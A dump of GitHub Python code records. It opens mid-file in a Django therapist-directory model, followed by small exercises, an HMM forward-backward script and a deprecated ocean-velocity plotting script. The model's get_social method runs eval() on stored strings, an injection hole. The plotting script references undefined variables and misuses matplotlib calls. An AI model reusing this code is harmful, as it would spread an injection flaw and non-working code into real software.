blank=True)\n    is_certified = models.BooleanField(default=False)\n    description = models.TextField(null=True, blank=True)\n    price = models.TextField(null=True, blank=True)\n    timetable = models.TextField(null=True, blank=True)\n    languages = ArrayField(models.CharField(max_length=2, choices=LANGUAGES), null=True, blank=True)\n    photo = models.ImageField(upload_to=upload_to, max_length=255, null=True, blank=True)\n    socials = ArrayField(models.TextField(), null=True, blank=True)\n    practice = models.ForeignKey(Practice, verbose_name=\"Pratique principale\", related_name=\"experts\", on_delete=models.RESTRICT)\n    practices = models.ManyToManyField(Practice, verbose_name=\"Autres pratiques\", related_name=\"therapists\", blank=True)\n    agreements = ArrayField(models.CharField(max_length=50), null=True, blank=True)\n    payment_types = ArrayField(models.CharField(max_length=20), null=True, blank=True)\n    symptoms = models.ManyToManyField(Symptom, related_name=\"therapists\", blank=True)\n    membership = models.CharField(max_length=20, choices=MEMBERSHIPS)\n    patients = models.ManyToManyField(\"Patient\", through=\"TherapistPatient\", related_name=\"therapists\")\n    invoice_data = models.JSONField(default=invoice_data, null=True, blank=True)\n    services = ArrayField(models.IntegerField(), null=True, blank=True)\n    creation_date = models.DateTimeField(auto_now_add=True)\n    modification_date = models.DateTimeField(auto_now=True)\n\n    # Not called \"objects\" to prevent from mistakenly using it and\n    # displaying all therapists.\n    mixed = models.Manager()\n    members = TherapistMembersManager()\n    invitees = TherapistInviteesManager()\n    class Meta:\n        ordering = [\"-creation_date\"]\n\n    def __str__(self):\n        return self.name\n\n    @property\n    def slug0(self):\n        return self.slug.split(\"/\")[0]\n\n    @property\n    def slug1(self):\n        return self.slug.split(\"/\")[1]\n\n    @property\n    def name(self):\n        if self.firstname:\n            return f\"{self.firstname} {self.lastname}\"\n        else:\n            return self.lastname\n\n    @property\n    def office(self):\n        return self.offices.first()\n\n    @property\n    def city(self):\n        if self.office:\n            return self.office.city\n\n    def get_social(self, name):\n        if not self.socials:\n            return\n        matches = [eval(s) for s in self.socials if eval(s)[\"name\"] == name]\n        if matches:\n            return matches[0][\"url\"]\n\n    @property\n    def website(self):\n        return self.get_social(\"website\")\n\n    @property\n    def facebook(self):\n        return self.get_social(\"facebook\")\n\n    @property\n    def photo_url(self):\n        url = self.photo\n        if not self.photo.name and self.gender:\n            return f\"/static/img/avatar-{self.gender}.png\"\n        if url and not str(url).startswith(\"http\"):\n            url = self.photo.url\n        return url\n\n    @property\n    def languages_verbose(self):\n        if not self.languages:\n            return []\n        languages = dict(LANGUAGES)\n        return [languages[l] for l in self.languages if l in languages]\n\n\n@receiver(post_save, sender=Therapist)\ndef therapist_create_slug(sender, instance, **kwargs):\n    post_save.disconnect(therapist_create_slug, sender=sender)\n    part1 = instance.practice.slug\n    if instance.offices.count():\n        part1 += \"-\" + slugify(instance.offices.first().city)\n    part2 = slugify(instance.name)\n    instance.slug = f\"{part1}/{part2}\"\n    instance.save()\n    post_save.connect(therapist_create_slug, sender=sender)\n\n\nclass Patient(models.Model):\n    firstname = models.CharField(max_length=100, null=True, blank=True)\n    lastname = models.CharField(max_length=100)\n    gender = models.CharField(max_length=6, choices=GENDERS, null=True, blank=True)\n    birthdate = models.DateField(null=True, blank=True)\n    email = models.EmailField(null=True, blank=True)\n    phone = models.CharField(max_length=12, null=True, blank=True)\n    mobile = models.CharField(max_length=12, null=True, blank=True)\n    street = models.CharField(max_length=100, null=True, blank=True)\n    street2 = models.CharField(max_length=100, null=True, blank=True)\n    canton = models.CharField(max_length=2, null=True, blank=True)\n    zipcode = models.IntegerField(null=True, blank=True)\n    city = models.CharField(max_length=50, null=True, blank=True)\n\n    def __str__(self):\n        if(self.firstname):\n            return f\"{self.firstname} {self.lastname}\"\n        return self.lastname\n\n    def to_json(self):\n        data = self.__dict__\n        del data[\"_state\"]\n        data[\"birthdate\"] = time.mktime(self.birthdate.timetuple()) * 1000\n        return data\n\n\nclass TherapistPatient(models.Model):\n    therapist = models.ForeignKey(Therapist, on_delete=models.CASCADE)\n    patient = models.ForeignKey(Patient, on_delete=models.CASCADE)\n    creation_date = models.DateTimeField(auto_now_add=True)\n","repo_name":"naturapeute/naturapeute","sub_path":"naturapeute/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":9766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"40654675188","text":"from datetime import datetime\n\ndef offerChoices(pumpState):\n    if pumpState == \"Y\":\n        print(\"Pump is on\")\n        startTime = datetime.now()\n        print(\"current time is\", startTime)\n         \n\n    elif pumpState == \"N\":\n        print(\"Pump is not on\")\n    else:\n        print(\"Invalid Response\")\n\n    if pumpState == \"Y\":\n        isPumpStillOn = input(\"Is pump still on? Y/N: \")\n        if isPumpStillOn == \"Y\":\n            print(\"Pump is still on\")\n        elif isPumpStillOn == \"N\":\n            print(\"Pump is off\")\n            endTime = datetime.now()\n            print(\"current time is\", endTime)\n            runtime = endTime-startTime\n            print(\"Total time pump was on:\", runtime, runtime.seconds)\n            writetofile(str(startTime) + \",\" + str(runtime.seconds))\n            readfile()\n        else:\n            print(\"Invalid Response\")\n\ndef writetofile(stringtowrite):\n    f = open(\"pumpcontent.txt\", \"a\")\n    f.write(\" %s\\n\" % stringtowrite)\n    f.close()\n\ndef readfile():\n    f = open(\"pumpcontent.txt\", \"r\")\n    print(f.read())\n    f.close()\n\nwhile True:\n\n    isPumpOn = input(\"Is pump on? Y/N: \")\n\n    offerChoices(isPumpOn)\n\n\n\n","repo_name":"jaffbee/python-pump-project","sub_path":"pumpdatapractice.py","file_name":"pumpdatapractice.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"14460638872","text":"A,k =[0,10],2\nM,n=max(A),min(A)\nprint(M,n)\n\ndif,ext=M-n,2*k\ns=dif-ext\nif dif<=ext:\n    print(0)\nelse:\n    print(s)","repo_name":"bajpaiNikhil/Leetcode","sub_path":"leetcode_47.py","file_name":"leetcode_47.py","file_ext":"py","file_size_in_byte":114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"1335927039","text":"\"\"\"event_helper URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/2.2/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  path('', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.urls import include, path\n    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.urls import path\nfrom . import views\n\nurlpatterns = [\n    path('test/', views.test_view),\n    path('user/',views.user_view),\n    path('qr/',views.qr_view),\n    path('gps/', views.gps_view),\n    # path('translate/',views.translate_view),\n    path('event/', views.event_view),\n    path('user_form/',views.user_forms_create),\n    path('alert/',views.alert_view)\n]","repo_name":"eventually-project/server","sub_path":"event_helper/app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"27475146609","text":"# Hayden Moore\n# 10-301 / 10-601\n# HW7 forward backward\n\nimport sys\nimport numpy\nimport math\n\n\ndef load_file(file):\n    with open(file, 'r') as f:\n        data = f.readlines()\n    i = 0\n    for line in data:\n        data[i] = line.rstrip()\n        i += 1\n\n    return data\n\n\ndef word_to_index(data, word_index, tag_index):\n    new_data = []\n\n    for line in data:\n        row = []\n        for word in line:\n            word_and_index = word.split('_')\n\n            # get word index\n            i = 0\n            for comp_word in word_index:\n                if word_and_index[0] == comp_word:\n                    w_index = i\n                i += 1\n\n            # get tag index\n            j = 0\n            for comp_tag in tag_index:\n                if word_and_index[1] == comp_tag:\n                    t_index = j\n                j += 1\n\n            # append row\n            row.append([w_index, t_index])\n        new_data.append(row)\n\n    return new_data\n\n\ndef log_likelihood(alpha):\n    return math.log(numpy.sum(alpha[-1]))\n\n\ndef forward(data, words, tags, pi, b, a):\n    # get alpha\n    size = len(data)\n    big_alpha = []\n    likelihood = []\n\n    j = 0\n    for line in data:\n        # if j == 10:\n        #     return big_alpha, likelihood\n        alpha = []\n        i = 0\n        for word in line:\n            # remove tag\n            w_index = word[0]\n\n            # only if first word in line\n            if i == 0:\n                obs = []\n                ii = 0\n                for p in pi:\n                    prod = float(p) * float(b[ii][w_index])\n                    obs.append(prod)\n                    ii += 1\n                #obs = numpy.array(obs)\n                alpha.append(obs)\n\n\n            # otherwise calculate alpha normally\n            else:\n                obs = []\n                jj = 0\n                for line in a:\n                    iii = 0\n                    row = []\n                    for prob in line:\n                        prod = float(alpha[i - 1][jj]) * float(prob) * float(b[iii][w_index])\n                        row.append(prod)\n                        iii += 1\n                    jj += 1\n                    obs.append(row)\n                obs = numpy.array(obs)\n                obs = obs.sum(axis=0)\n                obs = obs.tolist()\n                alpha.append(obs)\n            i += 1\n        big_alpha.append(alpha)\n        log_like = log_likelihood(alpha)\n        likelihood.append(log_like)\n        j += 1\n    big_alpha = numpy.array(big_alpha)\n\n    return big_alpha, likelihood\n\n\ndef backward(data, emit, trans):\n    big_beta = []\n    for line in data:\n        size = len(line)\n        beta = numpy.zeros((size, len(emit)))\n        i = size - 1\n        for word in line:\n            #print(word)\n            # if first item\n            if i == size - 1:\n                ii = 0\n                for b in beta[i]:\n                    beta[i][ii] = 1\n                    ii += 1\n\n            # otherwise calculate beta normally\n            else:\n                b_index = line[i + 1][0]\n                b_t = emit[:, b_index]\n                b_t = b_t.astype(numpy.float)\n                trans = trans.astype(numpy.float)\n                beta_t = beta[i + 1]\n                prod = numpy.multiply(b_t, beta_t)\n\n                beta[i] = numpy.matmul(trans, prod)\n\n            i -= 1\n        big_beta.append(beta)\n    return big_beta\n\n\ndef main():\n    test_input = sys.argv[1]\n    index_to_word = sys.argv[2]\n    index_to_tag = sys.argv[3]\n    hmmprior = sys.argv[4]\n    hmmemit = sys.argv[5]\n    hmmtrans = sys.argv[6]\n    predicted_file = sys.argv[7]\n    metric_file = sys.argv[8]\n\n    # load in the test input\n    test_data = load_file(test_input)\n    i = 0\n    for line in test_data:\n        test_data[i] = line.split()\n        i += 1\n\n    # load in word index\n    words = load_file(index_to_word)\n\n    # load in tag idex\n    tags = load_file(index_to_tag)\n\n    # load in prior\n    prior = load_file(hmmprior)\n    prior = numpy.array(prior)\n\n    # load in emit\n    emit = load_file(hmmemit)\n    i = 0\n    for line in emit:\n        emit[i] = line.split()\n        i += 1\n    emit = numpy.array(emit)\n\n    # load in trans\n    trans = load_file(hmmtrans)\n    i = 0\n    for line in trans:\n        trans[i] = line.split()\n        i += 1\n    trans = numpy.array(trans)\n\n    # switch test data to index representation\n    test_data = word_to_index(test_data, words, tags)\n\n    # run thee forward part of the algorithm\n    alpha, likelihood = forward(test_data, words, tags, prior, emit, trans)\n\n    # run backward part of the algorithm\n    beta = backward(test_data, emit, trans)\n\n    big_labels = []\n    i = 0\n    for a in alpha:\n        predictions = numpy.multiply(alpha[i], beta[i])\n        #print(predictions)\n        labels = []\n        for pred in predictions:\n            index = numpy.where(pred == numpy.amax(pred))\n            labels.append(tags[index[0][0]])\n        big_labels.append(labels)\n        i += 1\n\n    # find average log likelihood\n    avg_likelihood = numpy.average(likelihood)\n\n    # write outputs\n    wrong = 0\n    with open(predicted_file, 'w') as f:\n        ii = 0\n        for line in test_data:\n            i = 0\n            for w in line:\n                t = tags[w[1]]\n                if i == len(line) - 1:\n                    f.write(words[w[0]] + '_' + big_labels[ii][i])\n                else:\n                    f.write(words[w[0]] + '_' + big_labels[ii][i] + ' ')\n                if t != big_labels[ii][i]:\n                    wrong += 1\n                i += 1\n            ii += 1\n            f.write('\\n')\n\n\n    total = 0\n    i = 0\n    for label in big_labels:\n        total += len(label)\n\n    accuracy = (total - wrong) / total\n    with open(metric_file, 'w') as f:\n        f.write(\"Average Log-Likelihood: \" + str(avg_likelihood) + '\\n')\n        f.write(\"Accuracy: \" + str(accuracy))\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"HaydenMM/hidden_markov_models","sub_path":"forwardbackward.py","file_name":"forwardbackward.py","file_ext":"py","file_size_in_byte":5914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"5961852785","text":"\nimport os\nimport itertools\nimport pandas as pd\nimport xarray as xr\nimport numpy as np\nimport functions.common as cf\nimport matplotlib\nfrom matplotlib import pyplot\nimport datetime\nimport matplotlib.dates as mdates\nimport matplotlib.ticker as ticker\nfrom matplotlib.dates import (YEARLY, DateFormatter, rrulewrapper, RRuleLocator, drange)\nfrom matplotlib.ticker import MaxNLocator\n\ndef reject_err_data(y, y_fill, r, sv):\n\n    y = np.where(~np.isnan(y),y,np.nan)\n    y = np.where(y != y_fill, y, np.nan)\n    y = np.where(y > -1e10, y, np.nan)\n    y = np.where(y < 1e10, y, np.nan)\n\n    # reject values outside global ranges:\n    global_min, global_max = cf.get_global_ranges(r, sv)\n    print(sv,': ', global_min, global_max)\n    if global_min and global_max:\n        y = np.where(y >= global_min, y, np.nan)\n        y = np.where(y <= global_max, y, np.nan)\n\n    stdev = np.nanstd(y)\n    if stdev > 0.0:\n        y = np.where(abs(y - np.nanmean(y)) < 5 * stdev, y, np.nan)\n\n\n    return  y\n\ndef prepare_axis(time, deployment, ax, ii, num_plots):\n    # prepare the time axis parameters\n    datemin = np.datetime64(min(time), 'M')\n    datemax = np.datetime64(max(time), 'M') + np.timedelta64(1, 'M')\n    ax.set_xlim(datemin, datemax)\n    xlocator = mdates.MonthLocator()  # every month\n    myFmt = mdates.DateFormatter('%Y-%m')\n    ax.xaxis.set_minor_locator(xlocator)\n    ax.xaxis.set_major_formatter(myFmt)\n\n    ax.set_ylabel(str(deployment), rotation=0, fontsize=8, color='b', labelpad=11)\n    ax.yaxis.set_label_position(\"right\")\n    ax.tick_params(which='both', color='r', labelsize=7, labelcolor='m',\n                        pad=0.1, length=1, rotation=0)\n    if ii < num_plots - 1:\n        ax.set_xlabel(' ')\n    else:\n        ax.set_xlabel('Time', rotation=0, fontsize=6, color='b')\n\ndef prepare_fig(r, fdatasets, save_dir):\n\n    # if len(fdatasets) > 5:\n    #     plot_velocity_variables(r, fdatasets[0:5], len(fdatasets[0:5]), save_dir, '1')\n    #     plot_velocity_variables(r, fdatasets[5:len(fdatasets)], len(fdatasets[5:len(fdatasets)]), save_dir, '2')\n    #\n    # else:\n    #     plot_velocity_variables(r, fdatasets, len(fdatasets), save_dir, '')\n\n    if len(fdatasets) > 5:\n        fig = pyplot.figure()\n        fig.tight_layout(pad=0.4, w_pad=0.5, h_pad=1.0)\n        axis1 = fig.add_subplot(nrows=len(fdatasets[0:5]), ncols=1, sharey=True)\n        plot_data(fig, axis1, fdatasets[0:5], save_dir, r)\n        axis2 = fig.add_subplot(nrows=len(fdatasets[5:len(fdatasets)]), ncols=1, sharey=True)\n        plot_data(fig, axis2, fdatasets[5:len(fdatasets)], save_dir, r)\n    else:\n        fig, ax = pyplot.subplots(nrows=len(fdatasets), ncols=1, sharey=True)\n        fig.tight_layout(pad=0.4, w_pad=0.5, h_pad=1.0)\n        plot_data(fig, ax, fdatasets, save_dir, r)\n\n    # fig, ax = pyplot.subplots(nrows=num_plots, ncols=1, sharey=True)\n    # fig.tight_layout(pad=0.4, w_pad=0.5, h_pad=1.0)\n    #\n    # fig0, ax0 = pyplot.subplots(nrows=num_plots, ncols=1, sharey=True)\n    # fig0.tight_layout()\n    #\n    # fig1, ax1 = pyplot.subplots(nrows=num_plots, ncols=1, sharey=True)\n    # fig1.tight_layout()\n    #\n    # fig2, ax2 = pyplot.subplots(nrows=num_plots, ncols=1, sharey=True)\n    # fig2.tight_layout()\n    #\n    # fig3, ax3 = pyplot.subplots(nrows=num_plots, ncols=1, sharey=True)\n    # fig3.tight_layout()\n    #\n    # fig4, ax4 = pyplot.subplots(nrows=num_plots, ncols=1, sharey=True)\n    # fig4.tight_layout()\n\ndef plot_data(fig, ax, fdatasets, save_dir, r):\n\n    for ii in range(fdatasets):\n        print('\\n', fdatasets[ii])\n        deployment = fdatasets[ii].split('/')[-1].split('_')[0].split('deployment')[-1]\n        deployment = int(deployment)\n\n        ds = xr.open_dataset(fdatasets[ii], mask_and_scale=False)\n        time = ds['time'].values\n\n        '''\n        science veriable\n        '''\n        sci_var = cf.return_science_vars(ds.stream)\n        z_name = [z_var for z_var in sci_var if 'pressure' in z_var]\n        z = ds[z_name[0]].values\n        z_unit = ds[z_name[0]].units\n        z_fill = ds[z_name[0]]._FillValue\n\n        z = reject_err_data(z, z_fill, r, z_name[0])\n\n        w_name = [w_var for w_var in sci_var if 'upward_velocity' in w_var]\n        w = ds[w_name[0]].values\n        w_unit = ds[w_name[0]].units\n        w_fill = ds[w_name[0]]._FillValue\n\n        w = reject_err_data(w, w_fill, r, w_name[0])\n\n        u_name = [u_var for u_var in sci_var if 'eastward_velocity' in u_var]\n        u = ds[u_name[0]].values\n        u_fill = ds[u_name[0]]._FillValue\n\n        u = reject_err_data(u, u_fill, r, u_name[0])\n\n        v_name = [v_var for v_var in sci_var if 'northward_velocity' in v_var]\n        v = ds[v_name[0]].values\n        v_fill = ds[v_name[0]]._FillValue\n\n        v = reject_err_data(v, v_fill, r, v_name[0])\n\n        uv_magnitude = np.sqrt(u ** 2 + v ** 2)\n        uv_maxmag = max(uv_magnitude)\n\n\n        '''\n         non science veriable\n         According to VELPT manufacturer, data are suspect when this instrument is tilted more than 20 degrees\n         redmine ticket: Marine Hardware #12960\n         '''\n\n        roll = ds['roll_decidegree'].values\n        roll_unit = ds['roll_decidegree'].units\n        roll_fill = ds['roll_decidegree']._FillValue\n\n        roll = reject_err_data(roll, roll_fill, r, 'roll_decidegree')\n\n        pitch = ds['pitch_decidegree'].values\n        pitch_units = ds['pitch_decidegree'].units\n        pitch_fill = ds['pitch_decidegree']. _FillValue\n\n        pitch = reject_err_data(pitch, pitch_fill, r, 'pitch_decidegree')\n\n        headng = ds['heading_decidegree'].values\n        headng_units = ds['heading_decidegree'].units\n        headng_fill = ds['heading_decidegree']._FillValue\n\n        headng = reject_err_data(headng, headng_fill, r, 'heading_decidegree')\n\n        tilt_ind = np.logical_or(pitch > 200, roll > 200)\n\n        pitch_fit = pitch[tilt_ind]\n        roll_fit = roll[tilt_ind]\n\n\n        '''\n        Plot pressure\n        '''\n\n        ax1[ii].plot(time, z, 'b-', linestyle='--', linewidth=.6, label='V')\n\n        if ii == 0:\n            ax1[ii].set_title(r + ' - Pressure ' + z_unit, fontsize=8)\n\n        prepare_axis(time, deployment, ax1[ii], ii, num_plots)\n\n        sfile = 'pressure_plots' + group_num\n        save_file = os.path.join(save_dir, sfile)\n        fig1.savefig(str(save_file), dpi=150)\n\n        '''\n        plot roll\n        '''\n        ax2[ii].plot(time, roll, 'b-', linestyle='--', linewidth=.6, label='Roll')\n        ax2[ii].plot(time[tilt_ind], roll_fit, 'g.', linestyle='None', marker='.', markersize=0.5, label='Roll < 200')\n\n        prepare_axis(time, deployment, ax2[ii], ii, num_plots)\n\n        if ii == 0:\n            ax2[ii].set_title(r + ' - Roll ' + roll_unit, fontsize=8)\n            # leg2 = ax2[ii].legend(fontsize=6, bbox_to_anchor=(0., 0.80, 1., .102), loc=3,\n            #                       ncol=3, mode=\"expand\", borderaxespad=0.)\n            # leg2._drawFrame = False\n            ax2[ii].legend()\n\n        sfile = 'roll_plots' + group_num\n        save_file = os.path.join(save_dir, sfile)\n        fig2.savefig(str(save_file), dpi=150)\n\n        '''\n        plot pitch\n        '''\n\n        ax3[ii].plot(time, pitch, 'b-', linestyle='--', linewidth=.6, label='Roll')\n        ax3[ii].plot(time[tilt_ind], pitch_fit, 'g.', linestyle='None', marker='.', markersize=0.5, label='Roll < 200')\n\n        prepare_axis(time, deployment, ax3[ii], ii, num_plots)\n\n        if ii == 0:\n            ax3[ii].set_title(r + ' - Pitch ' + pitch_units, fontsize=8)\n            # leg3 = ax3[ii].legend(fontsize=6, bbox_to_anchor=(0., 0.80, 1., .102), loc=3,\n            #                       ncol=3, mode=\"expand\", borderaxespad=0.)\n            # leg3._drawFrame = False\n            ax3[ii].legend()\n\n        sfile = 'pitch_plots' + group_num\n        save_file = os.path.join(save_dir, sfile)\n        fig3.savefig(str(save_file), dpi=150)\n\n\n        '''\n        plot heading\n        '''\n        ax4[ii].plot(time, headng, 'b-', linestyle='None', marker='.', markersize=0.5, label='Roll')\n        ax4[ii].plot(time[tilt_ind], headng[tilt_ind], 'g.', linestyle='None', marker='.', markersize=0.5,\n                     label='Roll < 200')\n        prepare_axis(time, deployment, ax4[ii], ii, num_plots)\n\n        if ii == 0:\n            ax4[ii].set_title(r + ' - Heading ' + headng_units, fontsize=8)\n            # leg4 = ax4[ii].legend(fontsize=6, bbox_to_anchor=(0., 0.80, 1., .102), loc=3,\n            #                       ncol=3, mode=\"expand\", borderaxespad=0.)\n            # leg4._drawFrame = False\n            ax4[ii].legend()\n\n        sfile = 'heading_plots' + group_num\n        save_file = os.path.join(save_dir, sfile)\n        fig4.savefig(str(save_file), dpi=150)\n\n        '''\n        1D Quiver plot\n        '''\n        ax[ii].quiver(time, 0, u, v,\n                      color='r',\n                      units='y',\n                      scale_units='y',\n                      scale=1,\n                      headlength=1,\n                      headaxislength=1,\n                      width=0.004,\n                      alpha=0.5\n                      )\n\n        u_fit = u[tilt_ind]\n        v_fit = v[tilt_ind]\n        ax[ii].quiver(time[tilt_ind], 0, u_fit, v_fit,\n                      color='b',\n                      units='y',\n                      scale_units='y',\n                      scale=1,\n                      headlength=1,\n                      headaxislength=1,\n                      width=0.004,\n                      alpha=0.5\n                      )\n        percent_bad = round(((len(u) - len(u_fit)) / len(u)) * 100, 2)\n        print(len(u_fit), len(u), percent_bad)\n        ax[ii].text(time[-1], 0, ' ' + str(percent_bad) + '%', fontsize=5, style='italic', color='blue')\n\n        ax[ii].set_ylim(-uv_maxmag, uv_maxmag)\n        prepare_axis(time, deployment, ax[ii], ii, num_plots)\n\n        if ii == 0:\n            ax[ii].set_title(\n                r + ' - Current Velocity ' + w_unit + '\\n' + ' Currents in blue when pitch or roll are > 20 degrees',\n                fontsize=8)\n            ax[ii].legend()\n\n        sfile = 'current_plot' + group_num\n        save_file = os.path.join(save_dir, sfile)\n        fig.savefig(str(save_file), dpi=150, bbox_inches='tight')\n\n        '''\n        Plot u and v components\n        '''\n\n        ax0[ii].plot(time, v, 'b-', linestyle='--', linewidth=.6, label='V')\n        ax0[ii].plot(time, u, 'g-', linestyle='--', linewidth=.6, label='U')\n        ax0[ii].plot(time, w, 'r-', linestyle='--', linewidth=.6, label='W')\n\n        prepare_axis(time, deployment, ax0[ii], ii, num_plots)\n\n        # set title\n        if ii == 0:\n            ax0[ii].set_title(r + ' - Velocity Components' + w_unit, fontsize=8)\n            # Set legend location - See: http://matplotlib.org/users/legend_guide.html#legend-location\n            ax0[ii].legend()\n            # leg0 = ax0[ii].legend(fontsize=6, bbox_to_anchor=(0., 0.80, 1., .102), loc=3,\n            #               ncol=3, mode=\"expand\", borderaxespad=0.)\n            # leg0._drawFrame = False\n\n        sfile = 'uv_plots' + group_num\n        save_file = os.path.join(save_dir, sfile)\n        fig0.savefig(str(save_file ), dpi=150)\n\n\n\ndef main(sDir, url_list, preferred_only):\n    rd_list = []\n    for uu in url_list:\n        elements = uu.split('/')[-2].split('-')\n        rd = '-'.join((elements[1], elements[2], elements[3], elements[4]))\n        ms = uu.split(rd + '-')[1].split('/')[0]\n        if rd not in rd_list:\n            rd_list.append(rd)\n\n    for r in rd_list:\n        print('\\n{}'.format(r))\n        subsite = r.split('-')[0]\n        array = subsite[0:2]\n\n        datasets = []\n        for u in url_list:\n            print(u)\n            splitter = u.split('/')[-2].split('-')\n            rd_check = '-'.join((splitter[1], splitter[2], splitter[3], splitter[4]))\n            if rd_check == r:\n                udatasets = cf.get_nc_urls([u])\n                datasets.append(udatasets)\n\n        datasets = list(itertools.chain(*datasets))\n\n        if preferred_only == 'yes':\n\n            ps_df, n_streams = cf.get_preferred_stream_info(r)\n\n            fdatasets = []\n            for index, row in ps_df.iterrows():\n                for ii in range(n_streams):\n                    try:\n                        rms = '-'.join((r, row[ii]))\n                    except TypeError:\n                        continue\n                    for dd in datasets:\n                        spl = dd.split('/')[-2].split('-')\n                        catalog_rms = '-'.join((spl[1], spl[2], spl[3], spl[4], spl[5], spl[6]))\n                        fdeploy = dd.split('/')[-1].split('_')[0]\n                        if rms == catalog_rms and fdeploy == row['deployment']:\n                            fdatasets.append(dd)\n        else:\n            fdatasets = datasets\n\n        main_sensor = r.split('-')[-1]\n        fdatasets = cf.filter_collocated_instruments(main_sensor, fdatasets)\n        num_data = len(fdatasets)\n        save_dir = os.path.join(sDir, array, subsite, r, 'preferred_method_plots')\n        cf.create_dir(save_dir)\n\n        prepare_fig(r, fdatasets, save_dir)\n\n\nif __name__ == '__main__':\n    pd.set_option('display.width', 320, \"display.max_columns\", 10)  # for display in pycharm console\n    preferred_only = 'yes'\n    sDir = '/Users/leila/Documents/NSFEduSupport/review/figures'\n\n    url_list = ['https://opendap.oceanobservatories.org/thredds/catalog/ooi/lgarzio@marine.rutgers.edu/20190102T153947-CE01ISSM-RID16-04-VELPTA000-telemetered-velpt_ab_dcl_instrument/catalog.html',\n                'https://opendap.oceanobservatories.org/thredds/catalog/ooi/lgarzio@marine.rutgers.edu/20190102T153934-CE01ISSM-RID16-04-VELPTA000-recovered_inst-velpt_ab_instrument_recovered/catalog.html',\n                'https://opendap.oceanobservatories.org/thredds/catalog/ooi/lgarzio@marine.rutgers.edu/20190102T153921-CE01ISSM-RID16-04-VELPTA000-recovered_host-velpt_ab_dcl_instrument_recovered/catalog.html']\n\n    # url_list = ['https://opendap.oceanobservatories.org/thredds/catalog/ooi/lgarzio@marine.rutgers.edu/20190111T191340-CE06ISSM-RID16-04-VELPTA000-telemetered-velpt_ab_dcl_instrument/catalog.html',\n    #             'https://opendap.oceanobservatories.org/thredds/catalog/ooi/lgarzio@marine.rutgers.edu/20190111T191211-CE06ISSM-RID16-04-VELPTA000-recovered_inst-velpt_ab_instrument_recovered/catalog.html',\n    #             'https://opendap.oceanobservatories.org/thredds/catalog/ooi/lgarzio@marine.rutgers.edu/20190111T191157-CE06ISSM-RID16-04-VELPTA000-recovered_host-velpt_ab_instrument_recovered/catalog.html']\n\nmain(sDir, url_list, preferred_only)","repo_name":"ooi-data-lab/data-review-tools","sub_path":"plotting/deprecated/_plot_velocity_final.py","file_name":"_plot_velocity_final.py","file_ext":"py","file_size_in_byte":14594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"15987633420","text":"from typing import List\n\ndef get_mean(arr: List[int], x: int, y: int) -> int|float:\n    first_mean = sum(arr[0:x]) / len(arr[0:x])\n    second_mean = sum(arr[-y:]) / len(arr[-y:])\n    \n    if (x > 1 and y > 1) and (x <= len(arr) and y <= len(arr)):\n        return (first_mean + second_mean) / 2\n    return -1     \n\n\n","repo_name":"maxcohen31/Codewars-Solutions","sub_path":"Codewars/The_mean_of_two_means_7_kyu.py","file_name":"The_mean_of_two_means_7_kyu.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"22"}
+{"seq_id":"8665224865","text":"from collections import deque\nfrom itertools import combinations\nfrom sys import stdin\n\nn, m = map(int, stdin.readline().strip().split())\ngraph = [ list(map(int, stdin.readline().strip().split())) for _ in range(n) ]\n\nzero_list, virus_list = [], []\nfor i in range(n):\n    for j in range(m):\n        if graph[i][j] == 0:\n            zero_list.append((i,j))\n        elif graph[i][j]==2:\n            virus_list.append((i,j))\n\nans, x_dir, y_dir = 0, [-1,0,1,0], [0,1,0,-1]\nfor comb in combinations(zero_list, 3):\n    # 3개 벽 세우기\n    for (x,y) in comb:\n        graph[x][y] = 1\n    # 바이러스 퍼뜨리기\n    cnt = 0\n    Q = deque(virus_list)\n    visited = [ [0]*m for _ in range(n) ]\n    while len(Q) > 0:\n        x, y = Q.popleft()\n        for i in range(4):\n            dx, dy = x + x_dir[i], y + y_dir[i]\n            if 0<=dx<n and 0<=dy<m and graph[dx][dy]==0 and visited[dx][dy]==0:\n                visited[dx][dy]=1\n                Q.append((dx,dy))\n    # 안전영역 카운트\n    for i in range(n):\n        for j in range(m):\n            if graph[i][j]==0 and visited[i][j]==0:\n                cnt = cnt+1\n    # 최대 안전영역 비교\n    ans = max(ans, cnt)\n    # 3개 벽 풀기\n    for (x,y) in comb:\n        graph[x][y] = 0\nprint(ans)\n \n'''\n시간 복잡도\n0 <= N, M <= 8 이므로 벽을 세울 수 있는 경우의 수 64C3 = 40,000\nBFS 한번 당 N, M = 64\n64C3 * N * M = 2,560,000 통과 가능\n'''\n\n    \n    \n","repo_name":"nyeongna/PS_Python","sub_path":"14502_연구소/r1.py","file_name":"r1.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
